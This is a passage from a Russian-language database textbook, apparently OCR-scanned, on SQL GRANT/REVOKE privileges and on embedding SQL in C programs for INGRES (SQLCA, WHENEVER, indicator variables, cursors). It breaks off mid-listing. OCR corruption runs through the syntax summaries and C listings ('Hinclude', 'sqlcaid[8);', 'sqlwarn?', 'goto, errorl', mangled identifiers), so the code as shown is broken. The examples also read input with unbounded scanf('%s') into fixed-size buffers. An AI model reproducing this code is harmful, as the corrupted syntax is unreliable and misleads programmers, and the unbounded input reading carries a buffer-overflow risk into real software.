Привилегии INSERT и UPDATE могут ограничиваться лишь отдельными столбцами таблицы, в этом случае пользователь может модифицировать значения указанных
столбцов, но не может изменять значения остальных столбцов таблицы. Аналогичным образом, привилегия REFERENCES может распространяться только на отдельные столбцы таблицы, что позволит использовать их имена в формулировках требований защиты целостности данных — например, во фразах CHECK и FOREIGN KEY, входящих в определения других таблиц, — тогда как применение для подобных целей остальных столбцов будет запрещено.
Когда пользователь с помощью оператора CREATE TABLE создает новую таблицу, он автоматически становится ее владельцем и получает по отношению к ней полный набор привилегий. Остальные пользователи исходно не имеют каких-либо привилегий в отношении вновь созданной таблицы. Чтобы обеспечить им доступ к ней, владелец должен явным образом предоставить им необходимые права, для чего используется оператор GRANT.
Когда пользователь создает представление с помощью оператора CREATE VIEW, он автоматически становится владельцем этого представления, однако совсем необязательно получает по отношению к нему полный набор прав. Для создания представления пользователю достаточно иметь привилегию SELECT для всех входящих в данное представление таблиц и привилегию REFERENCES для всех столбцов, упоминаемых в определении этого представления. Привилегии INSERT, UPDATE и DELETE в отношении созданного представления пользователь получит только в том случае, если он имеет соответствующие привилегии в отношении всех используемых в представлении таблиц.
Предоставление привилегий другим пользователям (оператор GRANT)
Оператор GRANT используется для предоставления указанным пользователям привилегий в отношении поименованных объектов базы данных. Этот оператор обычно используется владельцем таблицы с целью предоставления доступа к ней другим пользователям. Оператор GRANT имеет следующий формат:
GRANT tprivilege_list | ALL PRIVILEGES}
ON object_name
TO ^authorization_id_list | PUBLIC}
[WITH GRANT OPTION]
Параметр privilege_list представляет собой список, состоящий из одной или более привилегий, разделенных запятыми:
SELECT(
DELETE'
INSERT Цсо1итп_пате [,...])]
UPDATE [(columnjiame [/•••])]
REFERENCES [(column_name [, . . . ])]
USAGE
Кроме того, из соображений упрощения, в операторе GRANT можно указать ключевое слово ALL PRIVILEGES, что позволит предоставить указанному пользователю все шесть существующих привилегии без необходимости их перечисления. Кроме того, в этом операторе может указываться ключевое слово PUBLIC, означающее предоставление доступа указанного типа не только всем существующим пользователям, но также и всем тем пользователям, которые будут определены в базе данных впоследствии. Параметр object_name может представлять собой имя таблицы базы данных, представления, домена, набора символов, проверки или трансляции.
Фраза WITH GRANT OPTION позволяет всем указанным в списке параметра authoriza- tion_id_list пользователям передавать другим пользователям все предоставленные им в отношении указанного объекта привилегии. Если эти пользователи также передадут собственные полномочия другим пользователям с указанием фразы WITH GRANT OPTION, то по-
следние, в свою очередь, также получат право передавать свои полномочия другим пользователям. Если эта фраза не будет указана, получатель привилегии не сможет передать свои права другим пользователям. Таким образом, владелец объекта может четко контролировать, кто получил право доступа к объекту и какие полномочия ему предоставлены.
Пример 14.7. Предоставление всех привилегий
Предоставьте пользователю с идентификатором Manager все привилегии доступа к таблице Staff.
GRANT ALL PRIVILEGES
ON Staff
TO manager WITH GRANT OPTION;
В результате пользователь с идентификатором Manager получил право выбирать данные из таблицы Staff, а также вставлять, обновлять или удалять строки из этой таблицы. Кроме того, пользователь Manager теперь может ссылаться на таблицу Staff и все ее столбцы в любом подзапросе, используемом в определении создаваемой им новой таблицы. В приведенном выше операторе присутствует фраза WITH GRANT OPTION, поэтому пользователь Manager сможет передавать полученные им привилегии любым другим пользователям по своему усмотрению.
Пример 14.8. Предоставление только некоторых привилегий
Предоставьте пользователю с идентификатором Admin привилегии SELECT и UPDATE для столбца Salary таблицы, Staff.
GRANT SELECT, UPDATE (salary)
ON staff
TO admin;,
Поскольку в приведенном выше операторе фраза WITH GRANT OPTION опущена, пользователь Admin не сможет передать полученную им привилегию другим пользователям.
Пример 14.9. Предоставление определенных привилегий нескольким пользователям
Предоставьте пользователям с идентификаторами Personnel и Deputy привилегию SELECT для таблицы Staff.
GRANT SELECT
ON staff
TO personnel, deputy;
Пример 14.10. Предоставление определенных привилегий всем пользователям.
Предоставьте всем пользователям базы данных привилегию SELECT для таблицы Branch.
GRANT SELECT
ON branch
TO PUBLIC;
- Использование в приведенном выше операторе ключевого слова PUBLIC означает, что все пользователи (как уже существующие, так и те, которые будут созданы в базе данных впоследствии) получают право выбирать все данные, имеющиеся в таблице Branch. Обратите внимание на то, что в данном случае нет смысла использовать фразу WITH GRANT OPTION, поскольку указанные права получают все пользователи базы данных и предоставлять их больше просто некому.
Отмена предоставленных пользователям привилегий (оператор REVOKE)
В языке SQL для отмены предоставленных пользователям посредством оператора GRANT привилегий используется оператор REVOKE. С помощью этого оператора могут быть отменены все или некоторые из привилегий, предоставленных указанному пользователю раньше. Оператор REVOKE имеет следующий формат:
REVOKE [GRANT OPTION FOR] {privilege_list | ALL PRIVILEGES}
ON objectjiame
FROM ^authorization id list | PUBLIC} [RESTRICT | CASCADE]
Ключевое слово ALL PRIVILEGES означает, что для указанного пользователя отменяются все привилегии, предоставленные ему ранее тем пользователем, который ввел данный оператор. Необязательная фраза GRANT OPTION FOR позволяет для всех привилегий, переданных в исходном операторе GRANT фразы WITH GRANT OPTION, отменять возможность их передачи независимо от самих этих привилегий. Назначение ключевых слов RESTRICT и CASCADE аналогично тому, которое они имеют в операторе DROP TABLE, рассмотренном в разделе 13.4.5.
Поскольку наличие привилегий необходимо для создания определенных объектов, удаление привилегии может удалить право, за счет использования которого был создан тот или иной объект (подобные объекты принято называть брошенными). Выполнение оператора REVOKE будет отменено, если в его результате могут появиться брошенные объекты (например, представления), если только в нем не указывается ключевое слово CASCADE. Если ключевое слово CASCADE в операторе присутствует, то для любых брошенных объектов (представлений, доменов, ограничений или проверок), возникающих при выполнении исходного оператора REVOKE, будут автоматически выданы операторы DROP.
Привилегии, которые были предоставлены указанному пользователю другими пользователями, не могут быть затронуты данным оператором REVOKE. Следовательно, если другой пользователь также предоставил данному пользователю удаляемую привилегию, то право доступа к соответствующей таблице у указанного пользователя сохранится. Например, на рис. 14.1 пользователь А предоставил пользователю В привилегию INSERT для таблицы Staff, причем с указанием фразы WITH GRANT OPTION (1 этап). Пользователь В передал эту привилегию пользователю С (этап 2). Затем пользователь С получил эту же привилегию от пользователя Е (третий этап). Далее пользователь С предоставил упомянутую привилегию пользователю D (этап 4). Когда пользователь А отменяет привилегию INSERT для пользователя В, эта привилегия не может быть отменена и для пользователя С, поскольку он уже получил ее ранее от пользователя Е. Если бы пользователь Е не предоставил данной привилегии пользователю С, то удаление привилегии пользователя В имело бы следствием каскадное удаление привилегий для пользователей С и D.
Пример 14.11. Отмена определенных привилегий, предоставленных всем пользователям'
Отмените привилегию SELECT, которая была предоставлена всем пользователям для таблицы Branch.'
REVOKE SELECT ON branch FROM PUBLIC;
Рис. 14.1. Пример результатов выполнения оператора REVOKE
Пример 14.12. Отмена определенных привилегий, предоставленных заданным пользователям
. Отмените все привилегии, которые были предоставлены пользователю с идентификатором “Deputy" для таблицы Staff.
: REVOKE ALL PRIVILEGES
: ON staff
FROM deputy;
Этот оператор по результатам выполнения эквивалентен оператору REVOKE SELECT ..., поскольку пользователю Deputy ранее была предоставлена только эта привилегия.
4.5. Внедрение SQL-операторов в прикладные программы
В предыдущей главе уже упоминалось, что язык SQL можно использовать двумя способами. На протяжении всего предыдущего обсуждения речь шла об интерактивном использовании SQL-операторв. Однако язык SQL также позволяет внедрять последовательности своих операторов в программы, написанные на процедурных языках высокого уровня. Во внедренном варианте большая часть SQL-операторов имеет идентичный формат, хотя для некоторых операторов (в частности, для оператора SELECT) может использоваться расширенный формат. На практике существует два различных способа использования языка SQL в программах.
Внедренные SQL-операторы. Отдельные SQL-операторы внедряются прямо в исходный текст программы и смешиваются с операторами базового языка. Этот подход позволяет создавать программы, обращающиеся непосредственно к базе данных. Специальные программы-предкомпиляторы преобразуют исходный текст с целью замены SQL-операторов соответствующими вызовами подпрограмм СУБД. Затем исходный текст программы компили-
руется и собирается обычным способом. Стандарт ISO предусматривает обязательную поддержку внедренных SQL-операторов для языков программирования ADA, С, COBOL, Fortran, Pascal и PL/1.
Использование прикладного интерфейса программирования (API). Альтернативный вариант состоит в предоставлении программисту стандартного набора функций, к которым можно обращаться из создаваемых им программ. Конкретный вариант API может предоставлять тот же набор функциональных возможностей, который существует при применении встроенных операторов, однако при этом устраняется необходимости предкомпилирования исходного текста. Кроме того, некоторые разработчики указывают, что в этом случае используется более понятный интерфейс и созданный программный текст более удобен с точки зрения его сопровождения.
Большинство существующих СУБД (включая INGRES, ORACLE, Informix и DB2) предоставляет тот или иной вариант поддержки внедрения операторов языка SQL. Кроме того, СУБД ORACLE предоставляет и соответствующие API. В данном разделе мы сосредоточимся в основном на использовании внедренных SQL-операторов. Чтобы сделать обсуждение более конкретным, мы проиллюстрируем его с помощью программ на языке С, использующих средства внедрения SQL-операторов СУБД INGRES 6.4. В конце данного раздела мы рассмотрим различия, существующие между реализацией поддержки внедрения SQL-операторов в СУБД INGRES и требованиями стандарта ISO, а также бегло ознакомимся с возможностями использования API. В разделе 14.6 мы познакомимся с расширенной формой использования внедренных SQL-операторов, которая носит название динамического SQL. Ее использование обеспечивает программам дополнительную гибкость и позволяет создавать программное обеспечение, предназначенное для более общих целей.
Внедрение простых SQL-операторов
Самым простым типом внедренных SQL-операторов являются те, которые не создают никаких возвращаемых результатов запроса, т.е. операторы, отличные от оператора SELECT. Это может быть оператор INSERT, UPDATE, DELETE или CREATE TABLE — последний мы и используем в очередном примере.
Пример 14.13. Внедрение оператора CREATE TABLE ,
Таблица Viewing может быть создана интерактивно, посредством ввода следующего SQL-onepamopa:
CREATE TABLE viewing (pno
VARCHAR(5)
NOT NULL,
rno
VARCHAR(5)
NOT
NULL,
date
DATE
NOT
NULL,
comment
VARCHAR(40));
Однако для ее создания можно воспользоваться и программой на языке С, текст которой приведен в листинге 14.1.
Листинг 14.1. Внедрение SQL-оператора, предназначенного для создания таблицы VIEWING,, в програлшу на языке С
/* Программа создания таблицы VIEWING */
Hinclude <stdio.h>
Hinclude <stdlib.h>
EXEC SQL INCLUDE sqlca;
main ( )
(
/* Подключение к базе данных */
EXEC SQL CONNECT 'estatedb'; if (sqlca.sqlcode < 0) exit(-l);
/* Вывод сообщения пользователю и создание таблицы */ printf("Creating VIEWING table\n");
EXEC SQL CREATE TABLE viewing(pnovarchar(5)notnull,
rnovarchar (5)notnull,
datedatenotnull,
comment varchar(40));
if (sqlca.sqlcode > = 0)/* Проверка успешности завершения */
printf("Creation successful\n");
else
printf ("Creation unsuccessful^");
/* Фиксация результатов выполнения транзакции */ EXEC SQL COMMIT;
/* Отключение от базы данных */
EXEC SQL DISCONNECT; }
Это самый простой пример программы со встроенными SQL-операторами, тем не менее нам его вполне достаточно, чтобы продемонстрировать некоторые основные концепции.
Внедренные SQL-операторы начинаются со специального идентификатора, в качестве которого обычно используются ключевые слова EXEC SQL, как и определяется стандартом ISO (в среде MUMPS — это ^SQL'). Эти ключевые слова указывают предкомпилятору на начало очередного оператора, являющегося внедренным SQL-оператором.
Внедренные SQL-операторы заканчиваются символом окончания, конкретный вид которого зависит от базового языка. В языках Ada, С и PL/1 в качестве символа окончания используется знак точки запятой (;). В языке COBOL роль символа окончания играет ключевое слово 'END-EXEC'. В языке Fortran внедренные операторы заканчиваются при завершении текста строки и при отсутствии строк продолжения.
Внедренные SQL-операторы могут занимать более одной строки. Для указания наличия строки продолжения используются символы продолжения базового языка.
Внедренные SQL-оператры могут использоваться в любом месте, где могут присутствовать выполняемые операторы программы на базовом языке.
В данном примере все внедренные операторы (CONNECT, CREATE TABLE, COMMIT и DISCONNECT) имеют точно такой же вид, как и при интерактивном их использовании.
Область связи с SQL (SQLCA)
Различные СУБД используют область связи SQL (SQL Communication Area — SQLCA) для передачи прикладной программе информации об ошибках времени выполнения. Область SQLCA представляет собой структуру данных, содержащую переменные с информацией об ошибках и индикаторы состояния. Прикладная программа может анализировать поля области SQLCA с целью определения успешности завершения каждого из выполняемых SQL-операторов. В листинге 14.2 приведено определение области SQLCA для СУБД INGRES.
Листинг 14.2. Формат области связи с SQL (SQLCA)
/*
** SQLCA - структура, предназначенная для размещения информации об ошибках
** и статусе завершения операции, возвращаемых подпрограммами СУБД INGRES
*/
typedef struct {
char sqlcaid[8);
long sqlcabc;
long sqlcode;
/* содержит текст "SQLCA " */
/* длина структуры SQLCA */
/* код возврата SQL */
struct {
short sqlerrml;
/* длина сообщения об ошибке */
char sqlerrcm[70];
/* текст сообщения об ошибке */_
} sqlerrm;
char sqlerrp[8];
/* не используется */
long sqlerrd[6];
/* sqlerrd[3] - количество обработанных строк */
struct {
char sqlwarnO;
/* равен "W" при предупреждении */
char sqlwarnl;
/* равен "W" при обрезке символьной строки */
char sqlwarn2;
/* равен "W", если при обобщении были исключены значения NULL */
char sqlwarn3;
/* равен "W", если обнаружено несоответствие в столбцах и базовых переменных */
char sqlwarn4;
/* равен "W" при обнаружении операторов update/delete без предложения where */
char sqlwarn5;
/* не используется */
char sqlwarn6;
/* равен "W", если ошибка вызвала ненормальное завершение процедуры открытия */
char sqlwarn?;
/* не используется */.
} sqlwarn;
char sqlext[8];
/* не используется */
} IISQLCA;
Для того чтобы иметь возможность работать с областью SQLCA необходимо поместить в начало программы следующий оператор:
EXEC SQL INCLUDE sqlca;
Он указывает предкомпилятору на необходимость включить в программу описание структуры SQLCA. В СУБД INGRES предкомпилятор генерирует по этой строке структуру данных под именем sqlca, для чего используется следующий оператор:
extern IISQLCA sqlca;
Наиболее важной частью этой структуры является переменная SQLCODE, которая может использоваться для контроля за возникновением ошибок. СУБД помещает в переменную SQLCODE различные значения, которые имеют следующий смысл.
Нулевое значение переменной SQLCODE указывает, что выполнение оператора завершилось успешно (хотя при этом в структуру sqlwarn могут быть помещены некоторые предупреждающие сообщения).
Отрицательное значение переменной SQLCODE указывает на возникновение ошибки. При этом само значение переменной SQLCODE указывает на тип имевшей место ошибки.
Положительное значение переменной SQLCODE указывает, что оператор был успешно выполнен, однако имеет место некоторая исключительная ситуация — например, оператор SELECT больше не возвращает ни одной строки (подробнее об этом рассказывается ниже),
В приведенном выше примере выполнялась проверка на наличие в переменной SQLCODE отрицательного значения (sqlca. sqlcode < 0), что свидетельствовало бы о неудачном завершении оператора CONNECT или CREATE TABLE.
Оператор WHENEVER
Потенциально ошибка может иметь место при выполнении любого внедренного SQL- оператра. Вполне очевидно, что организация проверки завершения каждого из внедренных в программу SQL-операторов — достаточно трудоемкая задача, поэтому язык SQL предоставляет альтернативный механизм упрощенной обработки ошибок. Оператор WHENEVER является директивой предкомпилятору языка SQL, требующей от него автоматически генерировать программный текст обработки ошибок после обработки каждого из внедренных в программу SQL-операторов. Оператор WHENEVER имеет следующий формат: | EXEC SQL WHENEVER <condition> <action>|
Оператор WHENEVER включает сведения о некотором условии (параметр condition) и о действии, которое должно быть выполнено при возникновении данного условия (параметр action). Параметр condition может иметь одно из следующих значений.
Значение SQLERROR указывает предкомпилятору на необходимость генерировать программный текст для обработки ошибок (SQLCODE < 0).
Значение SQLWARNING указывает предкомпилятору на необходимость генерировать программный текст для обработки предупреждений (SQLCODE > 0).
Значение NOT FOUND указывает предкомпилятору на необходимость генерировать программный текст для обработки специфических предупреждающих сообщений о том, что операция выборки данных не обнаружила ни одной записи (SQLCODE = 100).
Параметр action может иметь следующие значения.
Значение CONTINUE указывает на необходимость игнорировать возникновение условия и перейти к выполнения следующего оператора.
Значение GOTO label или GO ТО label указывает на необходимость передать управление метке, заданной значением подпараметра label.
Например, пусть в некоторой программе содержатся следующие операторы языка SQL:
EXEC SQL WHENEVER SQLERROR GOTO errorl;
EXEC SQL INSERT INTO viewing VALUES ('СИУб', 'PA14', DATE '1998-05-12',
'Not enough space');
EXEC SQL INSERT INTO viewing VALUES ('CR77', 'PA14', DATE '1998-05-13',
'Quite like it');
Предкомпилятор языка SQL преобразует их следующим образом:
EXEC SQL INSERT INTO viewing VALUES ('CR76', 'PA14', DATE '1998-05-12',
'Not enough space');
if (sqlca.sqlcode < 0) goto, errorl;
EXEC SQL INSERT INTO viewing VALUES ('CR77', 'PA14', DATE '1998-05-13',
'Quite like it');
if (sqlca.sqlcode < 0) goto errorl;
Переменные базового языка
Переменными базового языка являются переменные программы, объявленные средствами базового языка. Переменные базового языка могут использоваться во внедренных SQL-операторах для передачи информации из базы данных в программу и наоборот. Кроме того, они могут использоваться в тексте предложения WHERE оператора SELECT. Фактически, они могут указываться везде, где допускается применение констант. Однако они не могут использоваться для представления объектов базы данных — таких, например, как имена таблиц или имена столбцов.
При использовании переменной базового языка во внедренном SQL-операторе необходимо перед именем этой переменной поместить символ двоеточия (:). Например, предположим, что в программе определена переменная с именем Increment, содержащая сумму, на которую необходимо увеличить годовую заработную плату работника под номером ' SL21'. В этом случае требуемое увеличение заработной платы можно было бы выполнить с помощью следующего SQL-оператора:
EXEC SQL UPDATE staff SET salary = salary + :increment WHERE sno = xSL21r;
Переменные базового языка должны быть объявлены в среде SQL, аналогично тому, как они объявляются согласно синтаксису базового языка. Все переменные базового языка в среде SQL должны объявляться в пределах блока BEGIN DECLARE SECTION ... END DECLARE SECTION. Этот блок должен располагаться до того, как любая из переменных будет использована во внедренном SQL-операторе. Так, в приведенном выше примере следовало бы разместить в некоторой точке программы, расположенной до первого использования указанной переменной базового языка, следующее ее объявление:
EXEC SQL BEGIN DECLARE SECTION;4
float increment?
EXEC SQL END DECLARE SECTION;
Переменные базового языка должны иметь тип, совместимый с тем SQL- значением, которое они представляют. Сведения о совместимости типов SQL-данных СУБД INGRES и типов данных языка С приведены в табл. 14.8. Однако в целом соответствие типов может различаться в разных реализациях языка SQL. Отметим, что типы данных языка С для символьных строк и строк дат требуют использования дополнительного байта, необходимого для размещения нулевого символа завершения, обязательного в строковых типах языка С. Переменные базового языка могут представлять собой как отдельные переменные, так и структуры.
Таблица 14.8. Соответствие типов данных СУБД INGRES и языка С
Типы данных INGRES SQL
Типы данных языка С
char(n), varchar(n)
char[n i 1]
integerl, integer2, smallint
short
integer
int
integer
long
float4
float
float
double
date
char[26]
money
double
Индикаторные переменные
Большинство языков программирования не поддерживает неизвестных или опущенных значений, представленных в реляционной модели значением NULL (см. раздел 3.3.1). Это может стать серьезной проблемой в тех случаях, когда значение NULL должно быть помещено или выбрано из таблицы данных. Для ее разрешения механизм поддержки встроенных SQL-операторов использует так называемые индикаторные переменные. Каждая переменная базового языка имеет связанную с ней индикаторную переменную, значение которой может быть установлено или проверено программно. Различные значения в индикаторных переменных имеют следующий смысл.
Нулевое значение индикаторной переменной означает, что связанная с ней переменная базового языка содержит корректное значение.
Отрицательное значение индикаторной переменной означает, что в связанной с ней переменной базового языка предполагается наличие значения NULL. Реальное значение базовой переменной игнорируется.
Положительное значение индикаторной переменной означает, что связанная с ней переменная базового языка содержит корректное значение, которое могло быть округлено или обрезано (т.е. размеры данной переменной базового языка недостаточны для размещения полного возвращаемого значения).
Во внедренных операторах имя индикаторной переменной указывается непосредственно после имени связанной с ней переменной базового языка, отделяемого от последнего символом двоеточия (:). Например, для помещения значения NULL в столбец Address той строки таблицы Staff, в которой столбец Sno имеет значение 'SL21', можно использовать следующий фрагмент программного текста:
EXEC SQL BEGIN DECLARE SECTION;
char address[51];
short address__ind;
EXEC SQL END DECLARE SECTION;
address_ind = -1;
EXEC SQL UPDATE staff SET address = :address :address_ind
WHERE sno = 'SL21';
Индикаторная переменная представляет собой двухбайтовое целое число, поэтому в блоке BEGIN DECLARE SECTION переменная Address_Ind объявляется с типом short. В программе переменной Address_Ind присваивается отрицательное значение (-1). Это указывает, что связанная с ней переменная базового языка, Address, условно содержит значение NULL. Во внедренном SQL-операторе имя индикаторной переменной, Ad- dresS-Ind, указано непосредственно после имени переменной базового языка (Address).
При выборке данных из базы, когда известно, что некоторые выбираемые столбцы могут содержать значения NULL, для всех подобных столбцов следует обязательно задавать индикаторные переменные. В противном случае СУБД фиксирует ошибку и присваивает переменной SQLCODE соответствующее отрицательное значение.
Выборка данных с использованием внедренных SQL-операторов и курсоров
В разделе 14.5.1 мы рассмотрели пример использования простого внедренного SQL-оператора, при выполнении которого не возвращается никакой результирующий набор данных. Аналогичным образом можно использовать и оператор SELECT, предназначенный для выборки строк из базы данных, однако в этом случае ситуация усложняется тем, что результирующий набор может содержать больше одной строки. Противоречие в данном случае заключается в том, что операторы большинства язы-
ков программирования высокого уровня работают с отдельными элементами данных или с отдельными структурами данных, представляющими строку в целом, тогда как оператор языка SQL способен работать с произвольным количеством строк данных. Язык SQL предоставляет специальный механизм, позволяющий связывать переменные базового языка с отдельными строками результирующего набора данных, которые возвращаются по одной при каждом последовательном обращении. По этой причине все запросы в языке SQL разделяются на две группы:
однострочные запросы, при выполнении которых результирующий набор данных содержит не более одной строки;
многострочные запросы, результаты выполнения которых могут состоять из произвольного количества строк (нуля, одной или больше).
Однострочные запросы
Язык SQL для реализации внедренных однострочных запросов предусматривает использование специального оператора единичной выборки, формат которого не отличается от формата оператора SELECT, рассмотренного выше, в разделе 13.3, за исключением дополнительного предложения INTO, предназначенного для указания имен переменных базового языка, в которые следует поместить результаты запроса. Предложение INTO должно следовать непосредственно за списком SELECT. Между выражениями в списке SELECT и переменными базового языка в предложении INTO должно существовать однозначное соответствие. Например, для выборки из таблицы Staff всех сведений о работнике под личным номером 'SL21' можно использовать следующий оператор:
EXEC SQL SELECT fname, lname, address, tel_no, position, sex, dob, salary, nin, bno
INTO :first_name, :last_name, :address :address_ind, :tel_no :telno_ind, :position, :sex :sex_ind, :dob :dob_ind, :salary, :nin :nin_ind, :branch_no
FROM staff
WHERE sno = 'SL21';
В этом примере значение столбца FName будет помещено в переменную базового языка под именем First_Name, значение столбца Lname — в переменную Last_Name, значение столбца Address — в переменную Address (вместе с индикатором значения NULL, для которого используется переменная Address_Ind} и т.д. Все упоминаемые в данном операторе переменные базового языка должны быть объявлены заранее, в блоке BEGIN DECLARE SECTION.
Если выполнение оператора единичной выборки завершается успешно, СУБД устанавливает значение переменной SQLCODE равным нулю. Если указанный в предложении WHERE требованиям не удовлетворяет ни одна из строк базы данных, переменной SQLCODE присваивается значение NOT FOUND. Если при выполнении оператора возникнет ошибка или указанному в предложении WHERE условию удовлетворяет больше одной строки, или значение NULL будет обнаружено в столбце, для которого не указана индикаторная переменная, СУБД поместит в переменную SQLCODE некоторое отрицательное число, значение которого зависит от типа возникшей ошибочной ситуации. Все приведенные выше замечания в отношении переменных базового языка, индикаторных переменных и операторов единичной выборки мы проиллюстрируем на следующем примере.
Пример 14.14. Использование однострочных запросов '
Напишите программу, которая будет запрашивать у пользователя табельный , номер работника, а затем выводить подробные сведения о нем,'
Текст соответствующей программы представлен в листинге 14.3. В данном случае выполняемый запрос является однострочным, поскольку пользователю предлагается ввести личный номер отдельного работника. Затем требуемые данные выби-
раются из таблицы Staff и выполняется проверка успешности завершения этой операции. Далее выбранная информация выводится на печать. При выборке данных использовалась индикаторная переменная для столбца Address, поскольку в нем могут содержаться значения NULL.
Листинг 14.3. Текст программы с однострочным запросом
/* Программа вывода подробных сведений об отдельном работнике */ Hnclude <stdio.h>
^include <stdlib.h>
EXEC SQL INCLUDE sqlca;
main( ) {
EXEC SQL
BEGIN DECLARE SECTION;
char
staff_no[6];/*
введенный табельный номер */
char
first_name[16];/*
поле имени */
char
last_name[16];/*
поле фамилии */
char
address[51];/*
попе адреса */
char
branch_no[4];/*
поле номера отделения компании */
short
address_ind;/*
индикатор значения NULL */
EXEC SQL
END DECLARE SECTION;
/* Подключение к базе данных */
EXEC SQL CONNECT 'estatedb';
if (sqlca.sqlcode < 0) exit (-1);
/* Запрос табельного номера работника */
printf("Enter staff number: ");
scanf("%s", staff_no);
EXEC SQL SELECT fname, Iname, address, bno
INTO :first_name, :last name, :address :address_ind, branch_no FROM staff~
WHERE sno = :staff_no;
/* Анализ завершения и вывод результатов */ if (sqlca.sqlcode == 0) {
printf("First name: %s\n", first_name);
printf("Last name: %s\n", last_name);
if (address_ind < 0)
printf("Address: NULL\n");
. else
printf ("Address: %s\n", address);
printf("Branch number: %s\n", branchjio);
}
else if (sqlca.sqlcode == 100)
printf("No staff member with specified number\n");
else
printf("SQL error %d\n", sqlca.sqlcode);
/* Отключение от базы данных */
EXEC SQL DISCONNECT?
}
Многострочные запросы./
Для реализации запросов, в результате выполнения которых может быть получено произвольное количество строк, язык SQL предоставляет в распоряжение программиста различные механизмы выборки данных, основанные на использовании курсора. Курсор позволяет программе на базовом языке выполнять построчную обработку результатов выполнения запроса. С точки зрения программы курсор п^>едстав- ляет собой указатель на определенную строку в результирующем наборе данных. Программисту предоставляются средства последовательного перемещения курсора от одной строки результата к другой. Прежде чем курсор можно будет использовать, его следует объявить и открыть, а после завершения работы с ним — закрыть. После того как курсор был открыт, строки результирующего набора данных запроса могут выбираться из него по одной с помощью оператора FETCH, но не SELECT.
Оператор DECLARE CURSOR описывает конкретный оператор SELECT, который должен быть выполнен, и связывает указанное имя курсора с данным запросом. Этот оператор имеет следующий формат:
EXEC SQL DECLARE cursor name CURSOR FOR select_statement
Например, приведенный ниже оператор можно использовать для объявления курсора, предназначенного для выборки сведений обо всех сдаваемых в аренду объектах, за которые отвечает работник с личным номером 'SL41'.
EXEC SQL DECLARE property_cursor CURSOR FOR
SELECT pno, street, area, city, pcode
FROM property_for rent
WHERE sno = 'SL41~;
Оператор OPEN предназначен для открытия указанного курсора и установки его перед первой строкой в результирующем наборе данных запроса. Реальное выполнение оператора SELECT запроса обычно происходит при обработке либо оператора DECLARE CURSOR, либо (что логичнее) оператора OPEN. Если оператор SELECT содержит ошибку — например, в нем использовано имя реально не существующего столбца, — то в этот момент будет зафиксирована ошибка. Оператор OPEN имеет следующий формат:
EXEC SQL OPEN cursor name [FOR READONLY]
Необязательное ключевое слово FOR READONLY указывает, что данные курсора после извлечения их из базы изменяться не будут. Например, для открытия объявленного выше курсора можно использовать следующий оператор:
EXEC SQL OPEN property_cursor FOR READONLY;
Оператор FETCH предназначен для выборки следующей строки из результирующего набора запроса. Этот оператор имеет формат, приведенный ниже.
EXEC SQL FETCH cursor_name INTO host_variable [,...]
Здесь параметр cursor_name представляет собой имя уже открытого курсора. Общее количество указанных в предложении INTO переменных базового языка должно точно соответствовать количеству столбцов в предложении SELECT указанного оператора DECLARE CURSOR. Например, для выборки следующей строки из результатов выполнения приведенного выше запроса можно использовать такой оператор:
EXEC SQL FETCH property_cursor
INTO :property_no, :street, :area :area ind, :city, :post_code :postcode_ind;
При обработке данного оператора FETCH значение столбца Pno будет помещено в переменную базового языка Property^No, значение столбца Street — в переменную Street и т.д. Поскольку каждый оператор FETCH обрабатывает только одну строку результирующего набора данных запроса, в тексте программы он, как правило, помещается внутрь некоторого цикла. В случае, если больше не существует строки, кото-
рую можно было бы выбрать из результирующего набора данных запроса, СУБД помещает в переменную SQLCODE значение NOT FOUND, (аналогичные действия выполняются и при обработке однострочных запросов). В этой связи отметим, что, если результирующая таблица запроса не содержит ни одной строки, при обработке оператора OPEN курсор все равно корректно позиционируется для выполнения операций FETCH и обработка оператора OPEN завершается нормально. Однако в подобной ситуации, при выполнении первого же оператора FETCH, СУБД обнаружит отсутствие данных и вернет переменной SQLCODE значение NOT FOUND.
Формат оператора CLOSE очень похож на формат оператора OPEN:
EXEC SQL CLOSE cursor_name
Здесь параметр cursorjiame представляет собой имя курсора, который в данный момент должен быть открыт. Например:
EXEC SQL CLOSE property_cursor;
После закрытия курсора результирующая таблица данных запроса перестает существовать. Все курсоры автоматически закрываются в конце выполнения объемлющей их транзакции. Изложенный выше материал мы проиллюстрируем с помощью следующего примера.
Пример 14.15. Использование многострочных запросов
: Напишите программу, которая будет запрашивать у пользователя табельный : номер работника и выводить сведения обо всех сдаваемых в аренду объектах, за ' которые этот работник отвечает.
: Текст требуемой программы представлен в листинге 14.4. В данном случае резуль
; тирующая таблица запроса может содержать больше одной строки данных. По этой причине запрос следует рассматривать как многострочный и для выборки данных использовать соответствующий курсор. У пользователя запрашивается личный номер интересующего работника, после чего создается курсор, предназна-
; ченный для выборки из базы данных необходимых сведений. После открытия * курсора организуется цикл, в котором извлекаются и выводятся на печать все содержащиеся в нем строки. После обработки всех извлеченных из базы данных
: строк курсор закрывается и выполнение программы завершается. При возникновении любой ошибки генерируется подходящее случаю сообщение об ошибке и программа завершается. Как и в предыдущем примере, для тех столбцов, которые могут содержать значение NULL, используются индикаторные переменные.
Листинг 14.4. Текст программы с многострочным запросом
/♦
** Программа выводит сведения о сдаваемых в аренду объектах, за которые отвечает указанный работник
*/
tinclude <stdio.h>
tinclude <stdlib.h>
EXEC SQL INCLUDE sqlca;
main()
{
EXEC SQL BEGIN DECLARE SECTION;
charstaff_no[6];/*Введенный табельный номер работника */
charpropertyjio[6]; /*Номеробъекта */
charstreet[26];/*Улицав адресе объекта*/
chararea[16];/*Районв адресе объекта*/
charcity[16];/* Город в адресе объекта */
charpost_code[9];/* Почтовый код в адресе объекта */
short area ind, postcode ind; /* индикатор значения NULL */
EXEC SQL END'DECLARE SECTION;
/* Подключение к базе данных */
EXEC SQL CONNECT 'estatedb';
if (sqlca.sqlcode < 0) exit (-1);
/* Запрос табельного номера работника */
printf("Enter staff number: ");
scanf("%s", staff_no);
/* Организация обработки ошибок SQL */
EXEC SQL WHENEVER SQLERROR GOTO error;
EXEC SQL WHENEVER NOT FOUND GOTO done;
/* Объявление курсора для выбранных данных */
EXEC SQL DECLARE property_cursor CURSOR FOR
SELECT pno, street, area, city, pcode
FROM property_for_rent
WHERE sno = :staff_no
ORDER by pno;
/* Открытие курсора и начало выборки данных */
EXEC SQL OPEN property^cursor;
/* Цикл выборки всех строк в результирующей таблице */ for ( ; ; ) {
/* Выборка очередной строки из результирующей таблицы */
EXEC SQL FETCH property_cursor
INTO :property_no, :street, -.area :area_ind, :city, :post_code :postcode_ind;~
/* Вывод данных */
printf("Property number: %s\n", property_no);
printf("Street: %s\n", street);
if (area_ind < 0)
printf("Area: NULL\n")?
else
